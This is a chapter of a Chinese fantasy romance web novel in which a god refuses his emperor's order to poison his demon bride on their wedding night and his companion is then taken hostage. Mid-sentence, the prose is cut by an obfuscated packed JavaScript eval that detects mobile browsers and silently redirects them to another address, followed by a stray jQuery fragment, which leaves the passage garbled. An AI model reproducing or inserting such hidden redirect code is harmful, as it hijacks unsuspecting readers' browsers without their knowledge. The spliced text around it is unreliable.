如此行径卑劣的算计,珩槿自己都深感嫌恶痛恨。
口口声声妖魔皆邪祟,当以必诛之,其实认可利用姻缘毁掉她的他们,才更像是邪祟妖魔。
此刻的他,甚至无法共情被遗忘记忆中的珩槿。
这个自己,未免太过陌生。
算完被他遗忘的过去,他又继续掐算即将发生的未来。
掐算天机道法高明者,在掐算到影响生死的重大选择决策时,通常会算到两个必定的未来结局。
这次,珩槿就看见了两个结局:
一、功成,璃绾必死,他立下首功,前程似锦,地位尊崇。
二、他和璃绾,一起死。
这次,不是梦。
做梦可能会梦到掐算天机,但不会如此清晰地看见结局。
两个结局,璃绾都是死。
但自己的命还有得选……
久久思索间,他已经站在早已停下的婚辇上愣神许久,以至于大半宾客的视线都落了过来。
珩槿余光注意到,双手交叠得规矩的她,正暗自掐着虎口,染红的长指甲已经将白嫩的肌肤掐出个月牙的红印。
他的粗心大意,无意间,将她置于了尴尬境地。
为保堵住看客议论的悠悠众口,珩槿先下了婚辇,而后亲自将她牵扶下了婚辇,还在诸多视线紧盯下,动作缓慢轻柔的为她整理好裙摆,才牵着她的手并肩而行,走向拜堂的高堂前。
长长的鹊桥上,珩槿故意将脚步放得很缓慢。
他对她通灵传音道:“绾绾,我们,不能成婚。”
她身形僵硬一顿,很快又恢复了平静,继续保持端庄前行。
她通灵传音回问道:“为什么,你还是无法忍受旁人对仙魔两立的偏见议论吗?珩槿,你把我置于何地?我何尝不是百般隐忍,为了成为你的妻子,甘愿于斩断魔界过往,只身随你嫁到这视我为异类的天界,受尽白眼谩骂。今后,就只有你那小小神殿一方容身之所了,我都没有退缩。迎亲路上你不说,偏偏临了要拜堂了,你才跟我说,你不能娶我?你把我当什么?”
珩槿本是要在她带着哭腔问出第一句话时,就立刻跟她解释,然而,在听到她诉说满腔委屈时,他猛然觉察不对。
虽说在他牢牢记住的回忆中,对璃绾并不甚相爱之人的了解,但他在与她初识时便知,璃绾绝不是为爱甘于屈服于一方狭小天地相夫教子的女子,她有着巨大的野心抱负想要去实现。
珩槿对她通灵传音,说道:“我不知如何三言两语简短的跟你解释清楚这一切,但事实就是,我跟你成亲都是基于要杀你的筹谋盘算,所以,现在悔婚离去,是最好的结局。”
“悔婚?我还有悔婚的余地吗?帝君现在又是什么计谋盘算?等我悔婚,天界就有再合适不过的理由向我魔界开战了吗?”她通灵传音对他道。
“啪嗒”一声,她的足尖鞋面,出现了约莫着指甲盖大的水渍。
珩槿施法透过红盖头去看她。
她眼中聚满的泪水划过精致美艳的脸,在下巴汇聚,滴落鞋面。很快,鞋面就出现了好几块同样的水渍。
他摒弃外界声音,此刻耳畔就只有她眼泪滴落的啪嗒声,和她哭泣吸鼻的声音。
珩槿的心都揪在了一起。
已经走了快一半的鹊桥了,再前行些,就没有后悔的余地了。
珩槿再次通灵传音,对她道:“悔婚离去。继续和我成亲顶上遗孀寡妻的名头回魔界再嫁。两个选择都能保你性命,你选一个吧。”
沉默不语的她只是一味地掉眼泪,没有任何旁的反应,看得珩槿犹如油锅上的蚂蚁一般焦急。
“快选啊绾绾,来不及了,快选一个,两个选择都能活命呢!快选一个吧,求求你,选一个……”
直至行完拜堂礼,新人入洞房的那刻,她都没再说半个字。
举行完所有必须的仪式,饮下合卺酒,房内只剩他们两人,她也没给他回答。
坐在婚床边的她不断擦着眼泪,珩槿将她的盖头掀开,对上她哭红的双眼和满脸的泪痕,珩槿当即跪在了她的脚边。
没有相爱记忆的他,连为她擦泪的亲密举动都不敢有。
他尽力将语气放缓放柔和,尽力让自己的语气听起来温柔耐心些,“绾绾,就只剩这一个选择了。”
他拿出一个精致小巧的寒玉雕的仙山小摆件,放在她手心。
“这里面是打开密室的所有钥匙,栖梧山你去过了,我这辈子攒的所有珍贵之物都在那儿,我能留给你的就只有这些身外之物了。嫁给我,委屈你了……抱歉绾绾。”
她仍旧不语。
珩槿继续说道:“或许你听着觉得荒唐,不信,但我还是要跟你解释清楚。与你相爱和谋划盘算你的记忆我都没有。在接连做了两个失去你的噩梦醒来时,我就穿着婚服了,连要娶的是谁都不知道。紧接着天君就来了,还给了我这把有化尸骨毒的匕首,让我取你的性命。”
说着,珩槿将那把匕首拿出来,放在了她的另一只手的手心里。
“那时,我还是不知道发生了什么,只觉得跟梦里一样,缺失了很多记忆,所以才会在迎亲路上不断确认试探你的身份。我掐算天机,才知被我遗忘的过去中发生了什么,连我自己都不敢相信,我会那么卑劣不堪的用姻缘去算计一个女子。事实已经发生,过错,我无法抵赖。我深知,对你造成的伤害无法弥补,我不奢望得到你的原谅,只希望你能安然无恙的活下去。”
她沉默了许久,眼中的委屈难过才缓缓消散,渐渐变得冷漠,带有恨意。
她平静问道:“所以,在你答应跟我做朋友,再到后来表明心意,像块狗皮膏药一样缠着我,买我毒糕时,你就已经盘算着今日的计谋了?”
“不是的不是的!”他激动否认,连忙解释:“不是的绾绾。在我拥有的记忆中,我很喜欢很喜欢你,真心的喜欢你,但也仅仅只是我喜欢你,你并不喜欢我,你只想跟茶溯洵成婚。尽管,我能看出,你看他的眼神中并没有男女之情的占有喜欢,你还是非他不嫁。”
“遗孀寡妻是什么意思?你打算以死谢罪?这婚房中就只有你我二人,若你死了,最大的嫌疑就落在我身上了,天界依旧可以以此理由向魔界开战,我怎么相信这不是你们的另一场谋划算计?”
“我从天君的话和掐算天机得知,我在这之前以神识立下了生死状必定会杀了你。我的死,他们心知肚明,而你也可以以此来保护魔界保护自己。我不会杀了你的绾绾,不会的。”
璃绾冷哼讥讽道:“那我还得庆幸你喜欢我咯?”
“绾绾我没有这个意思,就算今夜的新娘不是你,只是个我素不相识的女子,我也会尽我可能助她逃离。纵使她有天大的过错,都不该是被我诓骗姻缘得手杀害。”
“我与你相爱的记忆在我脑海里重现时,陌生得就像旁人的记忆,莫名其妙的就穿上了婚服嫁给你,更是在听你说我们不能成婚时,委屈难过和眼泪都无法自控。我跟你的情况有些类似,不是我不选,是被控制的我根本无法选。直到刚才,我才挣脱这束缚。”
这回,听完,短暂沉默的变成了珩槿。
“你拥有的最后记忆是什么?”
“我追虫合蟆妖追着追着就陷入了一片黑暗之地,见到了一个少年,他不说话,就看着我笑,我每每靠近或是攻击,他都会再次与我拉开距离。后来我脑子就渐渐开始不清醒,意识逐渐模糊,昏倒后,再睁眼,就陷入了过去的一些回忆中无法解脱。再然后,我在回忆里睡着,不知这是梦还是现实,就穿着婚服了。你呢?你最后拥有的记忆是什么?”
“我最后拥有的记忆是,你追虫合蟆妖失踪,我去到你最后出现的地方,触碰了你遗落的发饰,就进入了黑暗之地。你在黑暗中见到的那个少年应该就是邪渊,因为我正是因为与他交谈过后昏迷,才开始做噩梦,醒来就穿上了婚服,跟你成婚。在鹊桥上,听你说为了同我成亲所遭受的那些白眼委屈时,我才猛然察觉不对。”
“为什么是因为听我说了那些话察觉不对?”
“因为,我认识的璃绾,有着巨大的野心抱负,你绝不会为爱甘愿将自己画地为牢禁锢在一方狭小天地,相夫教子,依附他人过活,更不会,因为喜欢一个男子,就与魔界、与鹤栖断绝关系。”
璃绾脸上的冷漠恨意退散了些,眼眸也更加明亮,意识也更加清醒了些。
“别以为你很了解我。”
“我没说这种大话。”他抬眸看着她真诚地说:“但我想,想更了解你。”
璃绾避开他的对视,“还是想想应对之策吧。”
珩槿反而轻松惬意了起来,起身替她摘去沉甸甸的凤冠珠钗,心疼地施法抹去她额头被凤冠压出的红痕。
“这冠谁选的?怎么也不施法减缓重量?疼吗?”
“你还有心思关心我额头疼不疼?眼下要紧的,不应该是好好商榷如何解困吗?万一,这一切都是真的呢?万一,即便是假的,你死就真死了呢?”
珩槿将她拉到摆满干果点心的桌边坐下,为她剥干果倒茶。
“不着急,死就死了呗,纵然是神仙,也会有死的那天,死前能跟心上人成亲,也算死得其所。”
见他说话又回到了之前贱兮兮的油嘴滑舌,璃绾便知他自有成算,也放下心来,悠闲惬意地剥起桌上的干果来。
很快,桌上的干果壳就堆起了一个个小山。
是夜,珩槿为她整理好床铺,将榻上撒帐的那些玩意儿全都清理干净。
开窗伸手感受了下窗外的气候,他又回到榻边,为她铺了两床被子。
整理好一切,他才道:“睡吧,很晚了。”
“睡?”震惊得瞪大眼睛的璃绾看了眼满红的床榻,该死的脑子里全是不该有的乱想,“这怎么睡?”
回头想解释的珩槿看见她的眼神,嘴角浮现难掩的笑意。
他沉默着走到她跟前,不顾她后仰拉开距离的避让举动,缓缓伸手,朝她脸庞发髻靠近,为她别上散落下的一缕秀发。
见她没骂人,珩槿心咚咚猛跳,冒着被她打死的风险,收手时“不小心”触碰到她滚烫的脸颊,同时,目不转睛地紧盯着她的眼神,观察她眼里的情绪。
重新跪坐到她脚边,珩槿仰望着她,问:“还能怎么睡?或者说……绾绾脑子里正想着的,是怎么睡,我们就怎么睡,也可以,我都听绾绾的。”
被他看穿猜中的璃绾,恼羞成怒,“我想的当然是我睡床你睡地上!我还能怎么想?”
他跪直身子,两人的距离迅速拉得更近,他笑意渐浓。
“虽然你说谎总是那么明显,可我愿意假装相信你。”
“说话就说话,靠那么近干什么?你,起来,动不动就跪,我俩好像不是可以随便跪着说话的关系吧?我可是有婚约在身的人,你离我远点。”
珩槿两手紧攥着她的两个喜袍袖子,倾身靠得更近了些,用假意委屈的质问语气问道:“天地也拜过了,合卺酒也喝过了,盖头也掀过了,礼已成,我也算跟你正经成亲的夫君了,魔君就打算当作什么也没发生,不负责不承担,弃我如敝履了吗?”
“你!你……你不要脸!你哪里就算跟我正经成过亲的夫君了?再说了,我是女子,怎样看吃亏的都不会是帝君,该索要负责的是我才对吧?”
“我当然愿意负责,但现在,不愿意负责的,好像是魔君你才对。”
“这都是假的,说不定就是邪渊搞的鬼,何谈负不负责承不承担?”
“邪渊搞的鬼也只是猜测,万一我们此刻就是现实呢?”
他黯然神伤地耷拉肩膀,眉头忧愁地紧皱着,模样可怜极了。
“我知我生得面容丑陋,魔君素来喜爱美男子,不愿,也是理应自然的,是我不死心,多话了。”
“你起来说话,你不丑,挺好看的。若是现实,既我应承成婚的那刻是自愿,便是我自作孽不可活,我自会对你负责,君无戏言,不会,抛弃你,但也仅仅是在现实自愿应承的前提下,不过!你算计了我,我这辈子都不可能真心待你!”
珩槿当着她的面掐算天机,“算来,魔君的确是自愿应承,魔君现下,打算如何呢?”
“掐算天机只能证明过去的确是我自愿应承,但也不能就此说明,这就是现实而非虚假。”
“婚辇上我也掐算过天机,看见了两个结局。做梦可能会梦到掐算天机,但不会如此清晰的看见结局,所以,这很有可能,不是梦。”
“两个结局?你都看见了什么?”
珩槿如实将掐算天机得知的两个结局告知璃绾,璃绾听后脸上再无轻松笑意,不免露出担忧之色。
他以为,她是担忧她两个结局都是死局而忧愁,故而安抚道:“不必太过担忧,事在人为,天机随时都在根据眼下抉择而变化,并非天命注定的结局,世间还无人能有掐算出天命既定的本事。相信我,绾绾,我会竭尽全力改变你的死局。”
“我是有些担忧我自己,但我也担忧身为,朋友的你。”
“绾绾不必担忧我,谁叫过去的我起了害人之心,是我该死罢了。只是死到临头,看见我奢望的祈愿实现,又得你关切,倒叫我有些舍不得去死了。”
珩槿用玩笑的语气,诉说着内心真实的想法。
“我不明白,只是因为喜欢,便甘愿为心上人舍弃所有,只身赴死吗?明明你只需要杀了我,以神识立下的生死状就不会应验,还有万千荣华富贵和权势地位可享。若是我,我只会毫不犹豫的杀了你。”
“也许等绾绾日后明白喜欢,就会明白我今日如此的原由,哪怕没有算计你的愧疚歉意,我也甘愿为你舍生。我对绾绾来说,充其量不过是朋友,在你心中有很多比我更为重要的一切,你会选择毫不犹豫的杀了我,这很正常,也无错。纵使你也深爱着我,依旧选择毫不犹豫的杀了我,这也很正常,更无错。我的选择是我事,与你无关,你不必为此感到半分负担。我希望一直以来奉献的你,在真正面临生死的那一天,会优先考虑自己,毫不犹豫的选择生的欲念。”
珩槿不想让她因此乱想,从而内心产生负担,故而转移话题道:“不想那么多了,夜已深,先睡吧,你睡床,我收拾收拾旁边的坐榻就可以睡了。”
正欲起身,跪久后的腿麻就使他难受得站不起来,支撑不住后仰时,璃绾眼疾手快地抓住了他的衣襟。
没有话本里描写的那种搂抱,粗暴得更像是在恼怒质问时才会出现的动作。
珩槿盯着自己被她双手紧紧抓住的衣襟,无语得忍不住发笑。
别谈追求路还有多遥远了,眼下光是让她对情爱开窍,都还有很遥远的路要走。
“我抓着不累吗?你起来啊!”
珩槿施法消散腿麻,借力站起,问:“茶溯洵要摔时,你也这样抓他的衣襟吗?”
“我的阿茶才不会像你这样笨!”
“你还没有回答我的问题。”
璃绾起身绕开他,自顾自坐回榻边,“你这儿,都没个伺候洗漱的女侍吗?”
“有啊,你可以随意传唤,但是,你得先回答我的问题,不然我不介意在她们伺候你洗漱时,继续缠着你问。”
“我已经回答过你了,阿茶才不会像你这样笨!”
“那我换个问法,若刚才要摔倒的是茶溯洵,你会怎么做,来防止他摔倒?”
璃绾知晓他这又是在争风吃醋,她故意气他,说得夸张:“我会抱住他,非常,非常温柔的抱住他,顺便再占占他便宜,借机倒在他怀里亲他一口,毕竟他那么好看,怎能白白错过落入我手中的道理!我已经回答帝君了,帝君满意了吗?可以滚开不要再继续烦我了吗?”
“不满意,但是可以听你的话滚开。”
滚到一旁的珩槿唤来仙侍,顺便问了嘴相繇,得知还没有他的踪迹,趁她洗漱的空档,珩槿借口更衣,去了相繇的房间。
细细观察,并未在他房中发现有何异样之处,再次尝试施法召唤相繇,依旧无果。
珩槿有些急了,忙派手下前去寻找。
回到寝殿时,她已躺下。
床榻外侧放着她折好预留的被褥枕头,就连坐榻上的小几凭靠也都已归拢在了一旁的座椅上。
蹑手蹑脚到榻边抱走被褥枕头时,珩槿才发现她还没有睡。
“这些……是你准备的?”
本是怕吵到她入眠的珩槿,一开始就将动作放得很静悄,故而此刻说话,也不自觉地压低了声音。
见他压低了声音,璃绾也跟着压低声音,道:“不然还会有谁?你的仙侍吗?我若是敢劳烦她们动手,只怕明日就会传出我这个悍妇新婚夜赶夫君睡坐榻的谣言了。”
听见“夫君”二字从她嘴里说出,珩槿听得心痒痒,贪恋的想要再听一遍,事实上他也真这么做了。
他假装没听清楚,问:“你说得太小声了,我没听清楚说的什么,你再说一遍,这回我仔细听。”
“我说!不然还会有谁?你的仙侍吗?我若是敢劳烦她们动手,只怕明日就会传出我这个悍妇新婚夜赶夫君睡坐榻的谣言了。”
重复了一遍璃绾见他笑得贱,瞬间明白过来,虽不知目的是为何,但他分明是故意装作没听见的。
她没好气道:“你耍我?你分明听见了!”
他立刻收了贱笑,放低姿态,诚恳认错:“我错了绾绾,我是故意的,但没有耍你的意思。”
“还说没有?不是耍我,是什么?”
“听见你唤我夫君的机会实在罕见,一时冲动,惹恼冒犯了绾绾,我知错了。”
璃绾翻了白眼,转过身去,背对着他侧睡。“滚吧滚吧,纵使你模样生得好看,说这般轻薄的话,也是该被打死的,再有下回,咱俩就同归于尽吧!”
“嗯嗯,多谢魔君大人不记小人过,宽恕在下。天界不比魔界,夜里总是要寒凉些,记得盖好被子,切勿着凉。”
“那你自己再找一床被子吧,滚,我困得睁不开眼睛了,不跟你说话了。”
珩槿看她前一刻,两个大眼睛还滴溜溜地转,精神得很,哪里像是犯困的人,却也明白她的意思,顺她的意不再多话,回坐榻上睡了。
阖眼整夜,他都难以入眠。
神仙不似其他生灵那般需要睡眠,何况,心上人就躺在自己的寝殿之中。
凤凰的眼睛在夜里本就看得更清楚一些,四处张贴的喜字和垂挂的红绸都在提醒他成婚的事实,脑海里更是硬紧的不断重现与她拜堂的画面,使他更难以入眠。
榻上的她,好似也辗转反侧,难以入眠,不断翻身发出的细微声响落入珩槿耳里,清晰不已。
同她成亲,是珩槿奢望的祈愿。
眼下真实现了,他却只希望这一切都只是假象,而非真实。
不知过去了多少个时辰,珩槿听见她忽然坐起了身,很快躺下,又坐了起来,几番重复,才掀开了被子。
一阵窸窸窣窣的翻找声响起,珩槿有些好奇她到底想要做什么,便也就没发出声响,闭眼假眠,仔细听着她那头传来的动静。
直到听见衣柜门被拉开又关上,璃绾的脚步声见朝他靠近,蜷缩在榻上的珩槿,更加不敢动了。
她施法使整张被子摊开浮于半空中,缓缓飘向珩槿的上方,再慢慢降落,盖在他身上。
鸢璃转身准备悄悄回榻上,珩槿突然抓住了她的手腕,将本就做贼心虚的璃绾吓得哆嗦。
“别怕,是我。”
璃绾想要挣脱他的禁锢,却怎么也挣脱不开。“放开我!”
“你冷静些,我又不吃了你。”
本就想方设法勾引她的珩槿怎能错过每一个突如其来的“好机会”,自然是不会轻易放她回榻上装睡。
“男女授受不亲!帝君连这道理都不懂吗?你这寝殿是用冰块建造的吗?冷死我了,赶紧放我回榻上!”
珩槿施法将她抱来给他盖的被子披裹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281174|166824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在她身上,又使灵力将她包裹着漂浮于半空,而后平移至他睡的坐榻上。
他下榻,坐在榻旁的空椅子上。
“还冷吗?我不仅知道男女授受不亲,还知道夫妻之间亲密些并不算过错。”
“谁跟你是夫妻?”
“拜过天地怎么不算是夫妻?何况,真要辨论起来,方才还是魔君亲口所说,若应承成婚的那刻是出自自愿,便君无戏言,对我负责,不会抛弃我。需要为夫再次当着娘子的面,掐算天机给娘子看,娘子应承成婚的那刻究竟是不是自愿吗?只是,如此便要费时些,恐会多耽误些娘子的瞌睡,不过,我也不介意娘子就在我这榻上而眠,毕竟是夫妻,总不能一直分榻而眠不是?”
“混帐无赖王八蛋!流氓!你到底想干什么?”
“我还想问绾绾深夜造访,到底想干什么?是贪图我的美色,想来占占我的便宜?还是……另有所图?”
“谁贪图你的美色想占你的便宜!我如若不是召唤不出冰魄!我早把你捅得浑身都是窟窿了!真是好心当做驴肝肺!狗咬吕洞宾!早知道,我真应该不管你,让你冷死在这寝殿中,我还能早些回魔界!”
“娘子担忧我冷不冷?为什么?你,在意我?”
璃绾招手示意他退后点,趁机快速从榻的另一侧翻下地,跑回榻上,一把扯过被子蒙住了头。
珩槿回到榻上,盖上她为他抱来的被子,笑得春心荡漾,合不拢嘴。
他随手拿出一旁抽屉暗格中藏匿的木头小熊,放到嘴旁吹了口气,小熊僵硬的身子就变得柔软灵活了起来。
将木头小熊放在地上,它就好似活了过来一般,朝璃绾跑去。
榻边太高,木头小熊爬不上去,珩槿还特地施法托举小熊爬上榻。
璃绾自然也注意到了有动静,她掀开被子就瞧见一个跪在她枕头边的木头小熊。
“绾绾,你开始在意我了,对吗?哪怕只有一点点。”
木头小熊开口便是珩槿的声音。
“身为朋友,担心对方会不会冷死,这不是很正常吗?”
“可是,在被我遗忘的过去中,我算计了你,你为什么还要管我会不会冷死?你不应该……恨我吗?”
“我当然应该恨,可我,也不知道为什么,我就是很相信,算计我的那个珩槿,不是我认识的你。”
认真回答完珩槿的问题,璃绾又恢复了骂他的语气:“喂!你可不要胡思乱想,我才不在意你,少自作多情了!”
“总有一天,你会意识到你在意我。也总有一天,当我再次问你是否在意我时,你会说,你在意我。”
“帝君哪儿来的自信?若真有那一天,那一定是我快死了,因为,人之将死,其言也善,到那时,我愿意大发慈悲的说点谎话让你开心。”
她话音刚落,珩槿就立刻说道:“赶紧呸呸呸,说什么死不死的,你一定会长命万万万岁。若真要到了你临死之际,才会听见你说你在意我,那我宁愿永远都不要听到这句话。”
璃绾笑道:“帝君,你可是神仙,怎么跟凡人一样?呸呸呸和把死挂在嘴上都不会左右真正的死亡,连我这个大魔头都知道的道理,帝君怎么还迷信?”
“是啊,连你这个大魔头都知道的道理,我怎么还迷信。”
长夜漫漫,两人闲聊着闲聊着,璃绾就困倦地沉沉睡去,珩槿耳畔传来她均匀的呼吸声。
过了好久,他才又操控木头小熊,在她耳畔极其轻声地说道:“我不是迷信,我只是太过在意你的生死。”
翌日清晨,当天边升起的第一缕晨曦透过窗柩缝隙照进寝殿,珩槿起身,静声收拾好坐榻和被褥,将小几和凭靠重归原位后,给她留下一封信压在木头小熊下,才瞬移出了寝殿,去往天君的宫殿。
相繇已消失了一天一夜,连半点踪迹都寻不到,只能是,成了被用来挟制他的软肋。
在见过噩梦中的天君,以及掐算得知被遗忘的过去中的天君所做所为之前,珩槿绝不会往这个层面去怀疑涉想。
果然,天君显然是早就料想到他一定会来一般,仙使见他来,还未通传禀报,就将他迎入了殿中。
正批阅奏报的天君低垂着头,未给他一个正眼。
珩槿跪地参拜后直言:“天君,相繇……”
只是说了相繇两个字,还未来得及说出后面的问话,天君就愤怒的将手中的笔砸向了他。
“璃绾的死讯为何还未传来!众目睽睽之下,你亲自牵扶她下婚辇,还卑躬屈膝的替她整理裙摆,你夫妇二人恩爱得紧啊!连伺候她洗漱的仙侍,都要你亲自替她传唤!她是没有嘴没有手吗?还是说你,是真的将她当做了携手一生的发妻了!我明着跟你说,相繇就是在我手中,她不死,相繇跟你一起死。”
珩槿叩首祈求道:“此事是我无能,与相繇无关,还请天君看在我们多年的父子情分,释放相繇!”
“父子情分?本君膝下从未有过子嗣,你一个连名分都没有的养子,也敢跟本君提父子情分?父子,那要子听话顺从且恭敬,才有父子情分,而你,竟敢忤逆本君,就休怪本君不讲父子情分。本君为天帝,你为神臣,本君的意愿就是你的意愿,本君想杀谁,你就得杀谁,别忘了你手中这把神兵宝剑是本君赐予你的,意为提点你该做好本君手中的刀。不遂本君的意,你就只能是个弃子。”
珩槿的信念在这一刻开始崩塌,他不敢置信地仰望着高座上的天君,跪坐在地,仿佛被抽走了所有精气,蔫搭搭的,失落极了,笑得心酸自嘲。
“天君赐我这把神兵宝剑时,说,是怕我征战在外无法更好的保护自己的安危,我就真的信了天君,原来,天君是这个意思。是我,痴望了。”
他将神兵宝剑取出,横放在他跟前。
“我们全族近乎都做了天君手中的剑,仅此一次不满天君所愿,天君就要翻脸了吗?”
“你这是打算与天界为敌,舍弃跟你多年的相繇,舍弃本君!选择跟那个魔头双宿双飞了吗?别忘了,你可是以神识立下的生死状,她不死,死的就是你!而你死了,她也别想活!”
“她不会死。”珩槿肯定道。
“天君心里应该比任何人都清楚,若我死了,只要璃绾和邪渊联手,天界再无将领与其抗衡,除非天君亲自带兵歼灭魔界,或许还有机会,如此伤敌一千自损八百的法子,天君若真的愿意看见死伤无数、生灵涂炭的那天,也不会商榷出以姻缘谋害她性命的法子了,不是吗?”
天帝震怒,却并未动他,只道:“随你在这儿跟本君打嘴仗,听不见璃绾的死讯传来,你永远都别再见到活的相繇。”
言罢,天君施法显现身处牢狱困境的相繇。
此刻的相繇,已显露原形,九条捆仙索混以天君神力编织成的锁链,分别捆缚住了他的九个头,最粗的一根,紧紧捆缚着他心脏所在的胸膛,紧到已勒陷进他的血肉。
幼时,他便已见过天君使用这种锁链捆缚囚犯。
从无活口。
天君曾同他讲过这锁链的妙用,精妙之处不在捆缚,而在于这锁链上的法术,能够一点点残食吞噬囚犯灵智。
一旦缺少灵智,不论仙神妖魔,大难不死幸得逃脱,也终将沦为废物。
收了显现的法术,转身离去前,天君侧身斜睨着堂下的他,冷眼警告道:“最后期限就在今夜,你自断吧。”
天君未给他留一丝多言的机会,转眼便消失得无影无踪。
珩槿失魂落魄的从大殿离去,径直去了栖梧山,将自己关进双亲生前所居的房中,禁闭门窗,蜷缩在榻边的地毯上。
相繇是双亲唯一留给他的家人了,这些年陪着他出生入死,永远坚定地站在他身后。
若拿相繇和心上人相比。
他会毫不犹豫的,选择相繇。
昨夜发生的一切还历历在目,尤其是掀起盖头时,看到的那张布满委屈泪痕的脸,以及,他那些信誓旦旦的话,都在脑海里,挥之不去。
——我只希望你能安然无恙的活下去。
——我不会杀了你的绾绾,不会的。
——相信我,绾绾,我会竭尽全力改变你的死局。
——赶紧呸呸呸!说什么死不死的,你一定会长命万万万岁。
……
不过朝夕,他便再次成了要她死的食言骗子。
他并非犹豫了选择,只是不知如何回去面对她,索性,像个懦夫一样短暂逃避了起来。
自幼,为了得到天君的青眼,早日成为天君期望的好孩子,为了不让天君失望,他努力去做好天君给他灌输的一切。
他本就不是靠自身功德修为飞升或菩萨佛祖点化的天神,他的神位,都是靠杀戮堆起来的。
终难逃七情六欲带来的,那卑劣不堪的一面。
他在栖梧山待了好久好久,直到天边美得动人心魄的晚霞升起,才回他的神殿。
橙红灿金交织出火烧云永远美得那么特别,一如所有族人坠落身亡时,漫天飘散着被鲜血染红的凤凰羽毛,宛如晴日血雨,一眼难忘。
回到神殿时,她已经在他寝殿外那棵硕大的神树桃花下,扎好了一个秋千。
她迫不及待地拉他坐在秋千上试试,秋千很大,足够两个人坐。
虽说两旁的秋千绳距离相隔甚远,不便双手各抓一侧秋千绳,但他是神仙,他的朋友也都并非凡人,不必靠抓握秋千绳来坐稳,避免摔倒。
“怎么突然想起扎秋千了?”
“你坐过去点。”
珩槿听话挪过去了些,璃绾顺势坐下,双腿轻轻晃动秋千,秋千就荡了起来。
“还记得你我做朋友时,你跟我讲过你小时候,你双亲为你编织的那架秋千吗?你说你很喜欢坐秋千,喜欢荡秋千时风吹拂过脸的感觉。可每每再坐上那架秋千,都会想起失去双亲的哀痛而不敢。这架秋千是我为你亲手做的,日后,你坐上这架秋千,第一个想起的,就只会是我,不会再是哀痛了。”